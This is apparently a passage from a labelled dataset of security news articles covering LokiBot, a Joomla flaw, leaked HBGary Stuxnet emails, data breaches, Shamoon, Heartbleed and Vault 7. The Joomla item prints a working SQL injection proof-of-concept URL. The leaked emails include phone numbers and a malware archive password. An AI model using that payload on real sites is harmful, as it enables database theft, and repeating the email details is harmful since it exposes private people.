It turns out that most samples of the LokiBot malware being distributed in the wild are modified versions of the original sample, a security researcher has learned.

Targeting users since 2015, LokiBot is a password and cryptocoin-wallet stealer that can harvest credentials from a variety of popular web browsers, FTP, poker and email clients, as well as IT administration tools such as PuTTY.

The original LokiBot malware was developed and sold by online alias ""lokistov,"" a.k.a. ""Carter,"" on multiple underground hacking forums for up to $300, but later some other hackers on the dark web also started selling same malware for a lesser price (as low as $80).

It was believed that the source code for LokiBot was leaked which might have allowed others to compile their own versions of the stealer.

However, a researcher who goes by alias ""d00rt"" on Twitter found that someone made little changes (patching) in the original LokiBot sample, without having access to its source code, which let other hackers define their own custom domains for receiving the stolen data.

Hackers Are Actively Spreading ""Hijacked"" Versions of LokiBot
The researcher found that the C&C server location of the malware, where the stolen data should be sent, has been stored at five places in the program—four of them are encrypted using Triple DES algorithm and one using a simple XOR cipher.

The malware has a function, called ""Decrypt3DESstring,"" that it uses to decrypt all the encrypted strings and get the URL of the command-and-control server.

The researcher analyzed the new LokiBot samples and compared them with the old original sample, and found that Decrypt3DESstring function in new samples has been modified in a way that it always return value from the XOR-protected string, instead of Triple DES strings.
""The 3DES protected URLs are always the same in the all of the LokiBot samples of this [new] version,"" the researcher said.
""In addition, those URLs are never used. Decrypt3DESstring returns a 3DES decrypted buffer. This should be the ideal behavior of this function, but as was described before, each time Decrypt3DESstring is called, it returns a decrypted url with XOR or encrypted url with XOR.""
These changes allowed anyone with a new sample of LokiBot to edit the program, using a simple HEX editor, and add their own custom URLs for receiving the stolen data.

However, it is not clear why the original malware author also stored the same C&C server URL in a string encrypted by the less secure XOR cipher, even when it was unnecessary.

A lot of different LokiBot samples currently distributed in the wild and available for sale on the underground market at a very low price have also been patched in the same way by several hackers.

Meanwhile, the original author of LokiBot has already launched its new version 2.0 and selling it online on many forums.

The decryption function was also being used to get registry values required for making the malware persistent on a system, but since after patching the decryption function only returns a URL, the new LokiBot samples fails to restart after the device reboots.

To know more technical details about the new samples, you can head on to the research paper [PDF] published by the researchers on GitHub.

",Cyber_Attack
Latest Joomla 3.7.1 Release Patches Critical SQL Injection Attack,https://thehackernews.com/2017/05/joomla-security-update.html,"If your website is based on the popular Joomla content management system, make sure you have updated your platform to the latest version released today.

Joomla, the world's second popular open source Content Management System, has reportedly patched a critical vulnerability in its software's core component.

Website administrators are strongly advised to immediately install latest Joomla version 3.7.1, released today, to patch a critical SQL Injection vulnerability (CVE-2017-8917) that affects only Joomla version 3.7.0.

""Inadequate filtering of request data leads to a SQL Injection vulnerability."" release note says.

The SQL Injection vulnerability in Joomla 3.7.0 was responsibly reported by Marc-Alexandre Montpas, a security researcher at Sucuri last week to the company.

According to the researcher, 'The vulnerability is easy to exploit and doesn't require a privileged account on the victim's site,' which could allow remote hackers to steal sensitive information from the database and gain unauthorized access to websites.

The SQL Injection vulnerability originates from a com_fields parameter, which was introduced in version 3.7.
/index.php?option=com_fields&view=fields&layout=modal
""So in order to exploit this vulnerability, all an attacker has to do is add the proper parameters to the URL in order to inject nested SQL queries."" the researcher says.

Joomla 3.7.0 Proof-of-Concept Exploit:
https://target-joomla-website.com/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x3e,user()),0)
Since hackers would not take much time to exploit this vulnerability against millions of websites, you are advised to download the latest version of Joomla for your website and inform others about the release of critical patch update as well.

",Vulnerability
Exposed : HBGary wanted to suppress Stuxnet research !,https://thehackernews.com/2011/02/exposed-hbgary-wanted-to-suppress.html,"It is no secret that in recent days, Anonymous Operatives have released a cache of HBGary Federal internal emails to the public. Crowdleaks has discovered that within these communications, Aaron Barr received a copy of Stuxnet (a computer worm that targets the types of industrial control systems (ICS) that are commonly used in infrastructure supporting facilities) from McAfee on July 28, 2010.

In an effort to confirm this was in fact Stuxnet, Crowdleaks has decompiled some of the source code, which can be found. Throughout the following emails it is revealed that HBGary Federal may have been planning to useStuxnet for their own purposes.
In a message sent to all email account holders at HBGary.com, Charles Copeland (Lead Support Engineer at HBGary, Inc.) writes:
from: Charles Copeland
to: all@hbgary.com
date: Sat, Sep 25, 2010 at 9:54 PM
subject: Stuxnet Worm Mailing List
Filter messages from this mailing list. mailed-byhbgary.com
hide details 9/25/10
Computerworld – Officials in Iran have confirmed that the Stuxnet worm infected at least
30,000 Windows PCs in the country, multiple Iranian news services reported on Saturday.
https://www.computerworld.com/s/article/9188018/Iran_confirms_massive_Stuxnet_infection_of_industrial_systems
I've already got a email asking about stuxnet, this came out late Friday. Does anyone have a dropper I have been unable to find it.
In another email sent directly to Aaron Barr, David D. Merritt writes:
from: David D. Merritt
to: Aaron Barr
date: Sun, Oct 3, 2010 at 9:35 PM
subject: Re: Hunter Killer Insanity 285mailed-bygmail.com
hide details 10/3/10
contacts over at TSA say that everybody has a copy…combine that with US CERTs vulnerability status and their own systems not meeting the spec….
i'm seeing TSA becoming a malware testbed…
Aaron Barr responds:
On Oct 3, 2010, at 10:13 PM, Aaron Barr wrote:
> Dave,
>
> We haven't but I would be interested to talk to you some about the tie. I do have a decent amount of information on Stuxnet and would be interested to hear about the tie. Some of what I know about Stuxnet might be of interest. I think it would be best to discuss in a more closed space though.
>
> In doing a little research:
> https://diocyde.wordpress.com/2010/03/12/ringy-ringy-beacon-callbacks-why-dont-you-just-tell-them-their-pwned/
>
> While this guy can be a bit of a crackpot at times his post has more validity than fiction. Greg and I have brainstormed a bit in the past on how to conduct such an attack that would be very difficult to detect. Autonomous, single purpose malware with no C&C. As we have said the battle is on the edges either source of destination, everything else is or will become somewhat irrelevant or diminished in value.
>
> Aaron Barr
> CEO
> HBGary Federal, LLC
> 719.510.8478
In another message sent to all email account holders at HBGary.com by
Greg Hoglund, it's made clear that HBGary wanted to hide their work onStuxnet.
from: Greg Hoglund
to: all@hbgary.com
date: Sun, Sep 26, 2010 at 10:26 PM
subject: stuxnet mailing list
Filter messages from this mailing listmailed-byhbgary.com
hide details 9/26/10
All,
HBGary has no official position on Stuxnet. Please do not comment to the press on Stuxnet. We know nothing about Stuxnet.
-Greg Hoglund
CEO, HBGary, Inc.
In the most chilling strand of emails, we find that whatever HBGary was working on, it was in conjunction with the NSA.
Aaron Barr writes:
Hi Cheryl,
719.510.8478
Aaron
Sent from my iPad
Aaron Barr writes:
> From: Aaron Barr
> To: Peace, Cheryl D
> Sent: Mon Aug 09 13:54:23 2010
> Subject: Re: Number
>
> Hi Cheryl,
>
> It does. I haven't met him personally. Our sister company does work
> in a few different pockets on the bldg. And i am on the extended NANA
> team. I recently joined to stand up HBGary federal, a related but
> separate company. We manage all the work that requires clearances.
> We exchange some technologies, but we have some separate developments
> as well. Mostly around threat intelligence and CNO/social media.
>
> I think there are some enabling tech to your mission but really need
> that qualified.
>
> Interested to run some of the stuxnet stuff by u as well.
>
> Aaron
>
>
> Sent from my iPhone
Cheryl Peace writes:
On Aug 9, 2010, at 9:27 AM, ""Peace, Cheryl D"" wrote:
>
>> Aaron
>> Did a little checking and we already do busy with you guys. Does the name
>> Tony Seager ring a bell?
Aaron Barr writes:
>> —–Original Message—–
>> From: Aaron Barr [mailto:aaron@hbgary.com]
>> Sent: Friday, August 06, 2010 10:56 AM
>> To: Peace, Cheryl D
>> Subject: Re: Number
>>
>> OK. If interested do you have some time to get together when you get back?
>> either next Friday or early the following week?
>> Aaron
Cheryl Peace writes:
>> On Aug 6, 2010, at 10:44 AM, Peace, Cheryl D wrote:
>>
>>> I am in Europe till mid next week
Aaron Barr writes:
>>> —–Original Message—–
>>> From: Aaron Barr [mailto:aaron@hbgary.com]
>>> Sent: Thursday, August 05, 2010 10:57 PM
>>> To: Peace, Cheryl D
>>> Subject: Re: Number
>>>
>>> Hi Cheryl,
>>>
>>> Can I schedule an appointment with you to come by and chat for a few
>>> minutes?
>>>
>>> Aaron
Cheryl Peace writes:
>>> On Jul 30, 2010, at 10:41 PM, Peace, Cheryl D wrote:
>>>
>>>> I am at Rao at the bar if you want to come by for a few. Meeting friends
>>> for a cocktail in a few
>>>> ————————–
>>>> Sent using BlackBerry
Arron Barr writes:
>>>> —– Original Message —–
>>>> From: Aaron Barr
>>>> To: Peace, Cheryl D
>>>> Sent: Fri Jul 30 20:02:44 2010
>>>> Subject: Number
>>>>
>>>> Cheryl,
>>>>
>>>> Sorry to bother you but do you have a minute to talk. I don't have
>>>> your number handy. It will only take moment, but I have some
>>>> information for you.
>>>>
>>>> Aaron Barr
>>>> CEO
>>>> HBGary Federal
>>>> 7195108478
In a related internal email sent to Rich Cummings (CTO of HBGary, Inc.)Greg Hoglund writes:
from: Greg Hoglund
to: Rich Cummings
date: Mon, Nov 16, 2009 at 9:30 PM
subject: Govt dropper in this word DOC, zipped up for youmailed-byhbgary.com
hide details 11/16/09
Phil, Rich,
I got this word doc linked off a dangler site for Al Qaeda peeps. I think it has a US govvy payload buried inside. Would be neat to REcon it and see what it's about. DONT open it unless in a VM obviously. password is meatflower. Remove the .txt extension too. DONT let it FONE HOME unless you want black suits landing on your front acre. :-)
-Greg

Crowdleaks.org had a software engineer (whose name has been withheld) look at the Stuxnet binaries inside of a debugger and offer some insight on the worm. She informed us that most of the worms' sources were using code similar to what is already publically available. She noted that the only remarkable thing about it was the 4 windows 0 days and the stolen certificates.
She says:
""A hacker did not write this, it appears to be something that would be produced by a team using a process, all of the components were created using code similar to what is already publically available. That is to say it's 'unremarkable'. This was created by a software development team and while the coders were professional level I am really not impressed with the end product, it looks like a picture a child painted with finger paints.""
When asked what type of organization likely wrote it, she stated:
""Probably a corporation by request of a government, it was clearly tested and put together by pro's. It really looks like outsourced work.""


",Malware
SHEIN-Fashion Shopping Site Suffers Data Breach Affecting 6.5 Million Users,https://thehackernews.com/2018/09/shein-data-breach.html,"U.S. online fashion retailer SHEIN has admitted that the company has suffered a significant data breach after unknown hackers stole personally identifiable information (PII) of almost 6.5 million customers.

Based in North Brunswick and founded in 2008, SHEIN has become one of the largest online fashion retailers that ships to more than 80 countries worldwide. The site has been initially designed to produce ""affordable"" and trendy fashion clothing for women.

SHEIN revealed last weekend that its servers had been targeted by a ""concerted criminal cyber-attack"" that began in June this year and lasted until August 22, when the company was finally made aware of the potential theft.

Soon after that, the company scanned its servers to remove all possible backdoored entry points, leveraging which hackers could again infiltrate the servers. SHEIN assured its customers that the website is now safe to visit.

Hackers Stole Over 6.42 Million SHEIN Customers' Data

Although details about the incident are scarce, the online retailer revealed that the malicious hackers managed to steal gain access to email addresses and encrypted password credentials for 6.42 million customers who registered on its website.
""While the full extent of the attack will continue to be investigated, it can now be confirmed that the personal information illegally acquired by the intruders included email addresses and encrypted password credentials of customers who visited the company website,"" SHEIN said.
""It is our understanding that the breach began in June 2018 and continued through early August 2018 and involves approximately 6.42 million customers.""
However, the company said it typically does not store any credit card information on its systems and has currently no evidence that any credit card information of its customers was taken from its systems.

Since no payment card details were stolen, it does not appear that if the online retailer was hit by the recent series of Magecart cyber attacks that have recently affected popular online services including Ticketmaster, British Airways, and Newegg.

Are You Affected? Here's What Users Should Do

Upon becoming aware of this potential theft, SHEIN immediately hired a leading international forensic cybersecurity firm and an international law firm to launch a thorough investigation into the breach.

The company has already begun contacting all affected customers and requesting them to change passwords for their online store accounts by either clicking the link provided in the email notification from SHEIN or directly logging into their SHEIN account to change the password.

You can find ""Edit Password"" link under the ""Account Setting"" page.

If customers believe the attackers may have compromised their credit card information, the company urged them to directly contact their respective banks or credit card companies with any concerns.

For more information regarding the breach investigation and the actions SHEIN is taking to protect its customer information, you can contact the company at 844-802-2500, or visit its FAQ at www.shein.com/datasecurity.

",Data_Breaches
90% SSL sites vulnerable to the BEAST SSL attack,https://thehackernews.com/2012/04/90-ssl-sites-vulnerable-to-beast-ssl.html,"90% of the Internet's top 200,000 HTTPS-enabled websites are vulnerable to known types of SSL (Secure Sockets Layer) attack, according to a report released Thursday by the Trustworthy Internet Movement (TIM), a nonprofit organization dedicated to solving Internet security, privacy and reliability problems.

The report is based on data from a new TIM project called SSL Pulse, which uses automated scanning technology developed by security vendor Qualys, to analyze the strength of HTTPS implementations on websites listed in the top one million published by Web analytics firm Alexa.

SSL Pulse checks what protocols are supported by the HTTPS-enabled websites (SSL 2.0, SSL 3.0, TLS 1.0, TLS 1.1, etc.), the key length used for securing communications (512 bits, 1024 bits, 2048 bits, etc.) and the strength of the supported ciphers (256 bits, 128 bits or lower).

The BEAST attack takes advantage of a flaw in SSL 3.0, allowing the attacker to grab and decrypt HTTPS cookies on an end user's browser, effectively hijacking the victim's session. This could be achieved either through an iframe injection or by loading the BEAST JavaScript into the victim's browser, but BEAST is known to be especially hard to execute.

TIM has established a taskforce of security experts, who will review SSL governance issues and develop proposals aimed at fixing both SSL and the certificate authority systems, both of which have been called into question in recent times. In the case of certificate authorities (CAs), a number of them have been compromised in the past year, allowing attackers to spoof websites with fake certificates. One of those CAs, DigiNotar, went bankrupt after it was hacked.

The attack was fixed in version 1.1 of the Transport Layer Security (TLS) protocol, but a lot of servers continue to support older and vulnerable protocols, like SSL 3.0, for backward compatibility reasons. Such servers are vulnerable to so-called SSL downgrade attacks in which they can be tricked to use vulnerable versions of SSL/TLS even when the targeted clients support secure versions.

The taskforce members include Michael Barrett, chief information security officer at PayPal; Taher Elgamal, one of the creators of the SSL protocol; Adam Langley, a Google software engineer responsible for SSL in Chrome and on the company's front-end servers; Moxie Marlinspike, the creator of the Convergence project, which offers an alternative method for SSL certificate validation; Ivan Ristic, the creator of the Qualys SSL Labs and Ryan Hurst, chief technology officer at certificate authority GlobalSign.

",Vulnerability
Hackers Stole 50 Million Facebook Users' Access Tokens Using Zero-Day Flaw,https://thehackernews.com/2018/09/facebook-account-hack.html,"Logged out from your Facebook account automatically? Well you're not alone…

Facebook just admitted that an unknown hacker or a group of hackers exploited a zero-day vulnerability in its social media platform that allowed them to steal secret access tokens for more than 50 million accounts.

UPDATE: 10 Important Updates You Need To Know About the Latest Facebook Hacking Incident.

In a brief blog post published Friday, Facebook revealed that its security team discovered the attack three days ago (on 25 September) and they are still investigating the security incident.

The vulnerability, whose technical details has yet not been disclosed and now patched by Facebook, resided in the ""View As"" feature—an option that allows users to find out what other Facebook users would see if they visit your profile.

According to the social media giant, the vulnerability allowed hackers to steal secret access tokens that could then be used to directly access users' private information without requiring their original account password or validating two-factor authentication code.

Secret access tokens ""are the equivalent of digital keys that keep people logged in to Facebook, so they don't need to re-enter their password every time they use the app.""
To prevent its users' accounts, Facebook has already reset access tokens for nearly 50 million affected Facebook accounts and an additional 40 million accounts, as a precaution.
""We're taking this incredibly seriously and wanted to let everyone know what's happened and the immediate action we've taken to protect people's security,"" Facebook said.
""As a result, around 90 million people will now have to log back in to Facebook, or any of their apps that use Facebook Login. After they have logged back in, people will get a notification at the top of their News Feed explaining what happened.""
The ""View as"" feature has also temporarily been disabled, at the time of writing. Facebook has also notified law enforcement officials of the security breach.

Since the investigation is still in the early stages, Facebook has yet to determine whether the attackers misused the stolen access tokens for 50 million accounts or if any information was accessed.

Facebook is already under heavy fire since the revelation that consultancy firm Cambridge Analytica had misused data of 87 million Facebook users to help Donald Trump win the US presidency in 2016.

The Cambridge Analytica scandal led to public outcry for lawmakers to hold Facebook accountable for its data-management practices, raising questions about whether Facebook can be trusted to protect the personal data of its 2 billion users.

And now, the recent revelation has once again underlines the failure of the social-media giant to protect its users' information while generating billions of dollars in revenue from the same information.

",Vulnerability
Just Answering A Video Call Could Compromise Your WhatsApp Account,https://thehackernews.com/2018/10/hack-whatsapp-account-chats.html,"What if just receiving a video call on WhatsApp could hack your smartphone?

This sounds filmy, but Google Project Zero security researcher Natalie Silvanovich found a critical vulnerability in WhatsApp messenger that could have allowed hackers to remotely take full control of your WhatsApp just by video calling you over the messaging app.

The vulnerability is a memory heap overflow issue which is triggered when a user receives a specially crafted malformed RTP packet via a video call request, which results in the corruption error and crashing the WhatsApp mobile app.

Since the vulnerability affect RTP (Real-time Transport Protocol) implementation of Whatsapp, the flaw affects Android and iOS apps, but not WhatsApp Web that relies on WebRTC for video calls.

Silvanovich also published a proof-of-concept exploit, along with the instructions for reproducing the WhatsApp attack.

Although the proof-of-concept published by Silvanovich only triggers memory corruption, another Google Project Zero researcher, Tavis Ormandy, claims that ""This is a big deal. Just answering a call from an attacker could completely compromise WhatsApp.""

In other words, hackers only need your phone number to completely hijack your WhatsApp account and spy on your secret conversations.

Silvanovich discovered and reported the vulnerability to the WhatsApp team in August this year. WhatsApp acknowledged and patched the issue on September 28 in its Android client and on October 3 in its iPhone client.

So if you have not yet updated your WhatsApp for Android or WhatsApp for iOS, You should consider upgrading now.

Two months ago, researchers also discovered a flaw in the way WhatsApp mobile app connects with WhatsApp Web that allowed malicious users to intercept and modify the content of messages sent in both private as well as group conversations.

",Vulnerability
New Shamoon Malware Variant Targets Italian Oil and Gas Company,https://thehackernews.com/2018/12/shamoon-malware-attack.html,"Shamoon is back… one of the most destructive malware families that caused damage to Saudi Arabia's largest oil producer in 2012 and this time it has targeted energy sector organizations primarily operating in the Middle East.

Earlier this week, Italian oil drilling company Saipem was attacked and sensitive files on about 10 percent of its servers were destroyed, mainly in the Middle East, including Saudi Arabia, the United Arab Emirates and Kuwait, but also in India and Scotland.

Saipem admitted Wednesday that the computer virus used in the latest cyber attack against its servers is a variant Shamoon—a disk wiping malware that was used in the most damaging cyber attacks in history against Saudi Aramco and RasGas Co Ltd and destroyed data on more than 30,000 systems.

The cyber attack against Saudi Aramco, who is the biggest customer of Saipem, was attributed to Iran, but it is unclear who is behind the latest cyber attacks against Saipem.

Meanwhile, Chronicle, Google's cybersecurity subsidiary, has also discovered a file containing Shamoon sample that was uploaded to VirusTotal file analyzing service on 10th December (the very same day Saipem was attacked) from an IP address in Italy, where Saipem is headquartered.

However, the Chronicle was not sure who created the newly discovered Shamoon samples or who uploaded them to the virus scanning site.

The latest attack against Saipem reportedly crippled more than 300 of its servers and about 100 personal computers out of a total of roughly 4,000 machines, though the company confirmed that it had already backed up the affected computers, so there no possibility of data being lost in the cyber attack.
""Saipem reports that the cyber attack hit servers based in the Middle East, India, Aberdeen and, in a limited way, Italy through a variant of Shamoon malware,"" Saipem said in its press release.
""The restoration activities, in a gradual and controlled manner, are underway through the backup infrastructures and, when completed, will re-establish the full operation of the impacted sites.""
Shamoon, also known as Disttrack, works by disabling systems by overwriting key computer files, including the master boot record (MBR), making it impossible for computers to start up.

The malware can also rapidly propagate across infected networks using Windows Server Message Block (SMB) protocol, similar to other known destructive malware like WannaCry and NotPetya.

Shamoon was first surfaced in 2012, and then after a long time of silence, an evolved version of the malware was used in attacks against various Saudi organizations in 2016 and 2017 targeting multiple industries, including the public and financial services sectors.

It is still unclear who actually created Shamoon, but security researchers widely believe that the Iranian hacking groups OilRig, Rocket Kitten, and Greenbug working on behalf of the Iranian government were behind previous Shamoon attacks, though Iran has strongly denied.
",Cyber_Attack
How to Protect yourself from the 'Heartbleed' Bug,https://thehackernews.com/2014/04/how-to-protect-yourself-from-heartbleed_10.html,"Millions of websites, users' passwords, credit card numbers and other personal information may be at risk as a result of the Heartbleed security flaw, a vulnerability in widely used cryptographic library 'OpenSSL'. [READ DETAILS HERE]

Netcraft survey says that about half a million widely trusted active websites on the internet are vulnerable to the heartbleed bug, which means the information transmitting through hundreds of thousands of websites could be vulnerable, despite the protection offered by encryption techniques.

According to Netcraft, ""the heartbeat extension was enabled on 17.5% of SSL sites, accounting for around half a million certificates issued by trusted certificate authorities. These certificates are consequently vulnerable to being spoofed (through private key disclosure), allowing an attacker to impersonate the affected websites without raising any browser warnings.""

Among the trusted names running OpenSSL is Yahoo!, which has been affected by this critical flaw. Yes, Yahoo Inc., which boasts more than 800 million users worldwide, is among the Internet services that could be potentially hurt by Heartbleed.

The bug leaks the below given information, although Yahoo! has since patched its systems.
The Popular sites which exhibit support for the TLS heartbeat extension also include Twitter, Facebook, GitHub, Bank of America, DropBox are not currently vulnerable, but it is unclear that they were vulnerable few days ago.

Including Yahoo!, Flickr, Tumbler, Google, OKCupid and even the anonymous search engine DuckDuckGo was vulnerable, which has now been fixed.

Yahoo Inc. said that it has ""successfully made appropriate corrections"" to the main Yahoo properties, including Yahoo Homepage, Search, Mail, Finance, Sports, Food, Tech, Flickr and Tumblr.

You can see the Heartbleed mass-test when performed around 8th April from here. In the list, the websites shown vulnerable may not be vulnerable right now.

HOW TO CHECK IF YOUR FAVORITE WEBSITES ARE VULNERABLE
1.) First of all check if the sites you use every day on an individual basis are vulnerable to Heartbleed bug or not using https://filippo.io/Heartbleed/, and if you're given a red flag, avoid the site for now.

2.) LastPass also created a Web app that will tell you what kind of encryption a site uses, and when the encryption was last updated.

3.) Provensec also created a scanner at https://provensec.com/heartbleed/

4.) GlobalSign SSL Configuration Checker.

5.) The easiest way to keep you safe is to use a new add-on to the Chrome browser, Chromebleed, created by security researcher, Jamie Hoyle.

HOW TO PROTECT YOURSELF FROM HEARTBLEED
If the site you use is not affected by the vulnerability, its good idea that you change your password immediately, assuming that it was vulnerable before, just to make sure that you are now safe. But changing the password before the bug is fixed could compromise your new password as well.

You are advised to don't reuse the same passwords on different websites and try to use a separate password for each website.

If you are using a public Wi-Fi at MacDonald or any other public places, then you should limit your Internet behavior and avoid sign in into websites that are especially sensitive.

OpenSSL version 1.0.1 through 1.0.1f and 1.0.2-beta1 are Vulnerable and flaw is fixed in OpenSSL 1.0.1g. If you haven't yet, please update your system that use OpenSSL for TLS encrypted communications.

And last but not the least; keep an eye on every financial transaction, and it is good practice to use two-factor authentication, which means with the password, the account requires a freshly generated pass code that shows up only on your personal smartphone, before getting into certain sites.

Stay Secure! Stay Tuned.

Related Important Articles:

German Developer responsible for HeartBleed Bug in OpenSSL
How Heartbleed Bug Exposes Your Passwords to Hackers
How to Protect yourself from the 'Heartbleed' Bug
Heartbleed - OpenSSL Zero-day Bug leaves Millions of websites Vulnerable

",Vulnerability
"Google pays $31,336 bounty to hacker for reporting critical vulnerabilities in Chrome",https://thehackernews.com/2013/04/google-pays-31336-bounty-to-hacker-for.html,"Google has fixed a series of serious vulnerabilities in its Chrome OS, including three high-risk bugs that could be used for code execution on vulnerable machines. Bug bounties is the cash prizes offered by open source communities to anyone who finds key software bugs have been steadily on the rise for several years now.

As part of its reward program, Google paid out $31,336 to a researcher who found three of the vulnerabilities. Google's post notes: ""We're pleased to reward Ralf-Philipp Weinmann $31,336 under the Chromium Vulnerability Rewards Program for a chain of three bugs, including demo exploit code and very detailed write-up. We are grateful to Ralf for his work to help keep our users safe.""

The three-bug chain credited to Weinmann exploited O3D, a JavaScript API (application programming interface) designed for crafting interactive 3-D graphics-based Web applications. The API and supporting browser plug-in were created by Google, with a preliminary version of the latter released in 2009.
Vulnerabilities that Google fixed in Chrome OS 26:
[227197] Medium CVE-2013-2832: Uninitialized memory left in buffer in O3D plug-in. Credit to Ralf-Philipp Weinmann.
[227181] High CVE-2013-2833: Use-after-free in O3D plug-in. Credit to Ralf-Philipp Weinmann.
[227158] High CVE-2013-2834: Origin lock bypass of O3D and Google Talk plug-ins. Credit to Ralf-Philipp Weinmann.
[196456] High CVE-2013-2835: Origin lock bypass of O3D and Google Talk plug-ins. Credit to Google Chrome Security Team (Chris Evans).
Google has paid out more in various contests it's run or co-sponsored, including $100,000 to a two-man team from MWR InfoSecurity at last month's Pwn2Own.

Most of the rewards are in the $1,000-$3,000 range, with some going above that, depending upon the severity of the vulnerability and difficulty of exploitation.

""The Chromium Vulnerability Rewards Program was created to help reward the contributions of security researchers who invest their time and effort in helping us make Chromium more secure. We've been very pleased with the response: Google's various vulnerability reward programs have kept our users protected and netted more than $1 million dollars of total rewards for security researchers. Recently, we've seen a significant drop-off in externally reported Chromium security issues.""

Other big companies also pays bug bounties, but unlike Google, does not release the names of researchers or the payments they receive.

",Vulnerability
CouchPotato: CIA Hacking Tool to Remotely Spy On Video Streams in Real-Time,https://thehackernews.com/2017/08/cia-hacking-tool-video.html,"After disclosing CIA's strategies to hijack and manipulate webcams and microphones to corrupt or delete recordings, WikiLeaks has now published another Vault 7 leak, revealing CIA's ability to spy on video streams remotely in real-time.

Dubbed 'CouchPotato,' document leaked from the CIA details how the CIA agents use a remote tool to stealthy collect RTSP/H.264 video streams.

Real Time Streaming Protocol, or RTSP, is a network control protocol designed for use in entertainment and communication systems for controlling streaming media servers.

CouchPotato gives CIA hackers ability to ""collect either the stream as a video file (AVI) or capture still images (JPG) of frames from the stream that are of significant change from a previously captured frame,"" a leaked CIA manual reads.

The tool utilises FFmpeg for video and image encoding and decoding and Real Time Streaming Protocol connectivity.

The CouchPotato tool works stealthily without leaving any evidence on the targeted systems because it has been designed to support ICE v3 ""Fire and Collect"" loader, which is an in-memory code execution (ICE) technique that runs malicious code without the module code being written to the disk.

However, neither Wikileaks nor the leaked user guide details how the agency penetrates into the targeted systems at the first place, but since the publication has previously leaked many CIA malware, exploits and hacking tools to get into a network, the agency might have been using CouchPotato in combining with other tools.

Previous Vault 7 CIA Leaks

Since March, WikiLeaks has published 20 batches of ""Vault 7"" series, which includes the latest and last week leaks, along with the following batches:

Imperial — Details of at least 3 CIA-developed hacking tools and implants designed to target PCs running Apple Mac OS X and different flavours of Linux operating systems.
UCL/Raytheon — An alleged CIA contractor, which analysed in-the-wild malware and hacking tools and submitted at least five reports to the agency for help the CIA developed its own malware.
Highrise — An alleged CIA project that let the spying agency stealthy collects and forwards stolen data from compromised smartphones to its server via SMSes.
BothanSpy and Gyrfalcon — 2 alleged CIA implants that let the CIA intercept and exfiltrate SSH credentials from targeted Windows and Linux PCs using different attack vectors.
OutlawCountry – An alleged CIA project that allowed the spying agency to hack and remotely spy on systems running Linux OS.
ELSA – Alleged CIA malware that tracks geo-location of targeted computers and laptops running the Microsoft Windows OS.
Brutal Kangaroo – A tool suite for Microsoft Windows OS used by the CIA agents to target closed networks or air-gap computers within an organisation or enterprise without requiring any direct access.
Cherry Blossom – A framework employed by the agency to monitor the Internet activity of the targeted systems by exploiting flaws in Wi-Fi devices.
Pandemic – A CIA's project that allowed the spying agency to turn Windows file servers into covert attack machines that can silently infect other PCs of interest inside the same network.
Athena – A spyware framework that the agency designed to take full control over the infected Windows systems remotely and works against every version of Windows OS–from Windows XP to Windows 10.
AfterMidnight and Assassin – 2 alleged CIA malware frameworks for the Microsoft Windows platform that's meant to monitor and report back actions on the infected remote host PC and execute malicious actions.
Archimedes – Man-in-the-middle attack tool reportedly developed by the CIA to target computers and laptops inside a Local Area Network (LAN).
Scribbles – Software supposedly designed to embed 'web beacons' into confidential files and documents, allowing the CIA to track insiders and whistleblowers.
Grasshopper – A framework that allowed the spying agency to quickly create custom malware for breaking into Microsoft Windows OS and bypassing antivirus protection.
Marble – Source code of a secret anti-forensic framework used by the CIA agents to hide the actual source of its malware.
Dark Matter – Hacking tools the spying agency used to target iPhones and Macs.
Weeping Angel – Spying tool used by the CIA to infiltrate smart TVs, and transforming them into covert microphones.
Year Zero – CIA hacking tools and exploits for popular hardware and software.

",Cyber_Attack
Android WebView vulnerability allows hacker to install malicious apps,https://thehackernews.com/2013/09/android-webview-vulnerability-allows.html,"WebView is an essential component in Android and iOS. It enables applications to display content from online resources and simplifies task of performing a network request, parsing the data and rendering it.

Today AVG Security expert reported a critical vulnerability in Android's WebView feature that allows an attacker to install malicious software, send SMSs and performing more tasks.
WebView uses a number of APIs which can interact with the web contents inside WebView. So this allows the user to view a web application as a part of an ordinary Android application.

Users can be infected when they click on a URL link using a vulnerable application that allows opening a Java enabled browser or web page. The commands in the JavaScript code can enable attackers to install malicious software, send SMSs, steal personal information and more.

To exploit the flaw, attacker can trick users to click a malicious link from a vulnerable WebView application and which will trigger a malicious JavaScript command contained on the same webpage.

All the applications running on Android 4.1 or older could perform malicious tasks and users are advised to upgrade to Android 4.2 or higher and download applications only from Google Play.

",Vulnerability
"Biggest American Bank 'JPMorgan Chase' hacked; 465,000 card users' data stolen",https://thehackernews.com/2013/12/JPMorgan-Chase-bank-card-hacked_5.html,"JPMorgan Chase, one of the world's biggest Banks has recently announced that it was the victim of a cyber attack and warned round 465,000 of its holders of prepaid cash cards on the possible exposure of their personal information.

In the Security Breach that took place on the bank's website www.ucard.chase.com in July, around 465,000 accounts are compromised i.e. 2% of the overall 25 million UCard users. JPMorgan confirmed that there is no risk for holders of debit cards, credit cards or prepaid Liquid cards.
They informed the law enforcement in September, and till now no information on how attackers have conducted the attack has been disclosed.

The JPMorgan spokesman Michael Fusco declared that the investigation allowed the identification of victim accounts and the data stolen, the bank already notifying the cardholders of the incident.

JPMorgan representative also remarked that hackers haven't stolen money from any user's account, due this reason the company is not issuing replacement cards but is only offering the cardholders a year of free credit-monitoring services.

""The bank typically keeps the personal information of its customers encrypted, or scrambled, as a security precaution. However, during the course of the breach, personal data belonging to those customers had temporarily appeared in plain text in files the computers use to log activity."" reported the Reuters agency.

I confess that the above statement made me literally jump out of the chair, what does it mean that ""customers had temporarily appeared in plain text in files the computers use to log activity"", if confirmed the situation is very embarrassing.

The bank experts sustain that only ""a small amount"" of data was exposed during the data breach , the information according the company doesn't include social security numbers and other personal information like birth dates and email addresses that could be used by cyber criminals for financial frauds and identity theft.

At the moment there is an absolute reserve on the names of the victims and there is no idea on the origin of the attack. The cybercrime considers the type of information acquired a precious commodity for sale in the underground, security experts Stewart from Dell SecureWorks and independent researcher David Shearhave recently published a study on the online underground marketplace for stolen data, the analysis revealed for example that it is quite easy to buy credit card information for a little more than ten dollars.

In 2007 some 41 million credit and debit card numbers from major retailers, including the owner of T.J. Maxx stores, were stolen. It is just the beginning!

",Cyber_Attack
New Exploit for MikroTik Router WinBox Vulnerability Gives Full Root Access,https://thehackernews.com/2018/10/router-hacking-exploit.html,"A known vulnerability in MikroTik routers is potentially far more dangerous than previously thought.

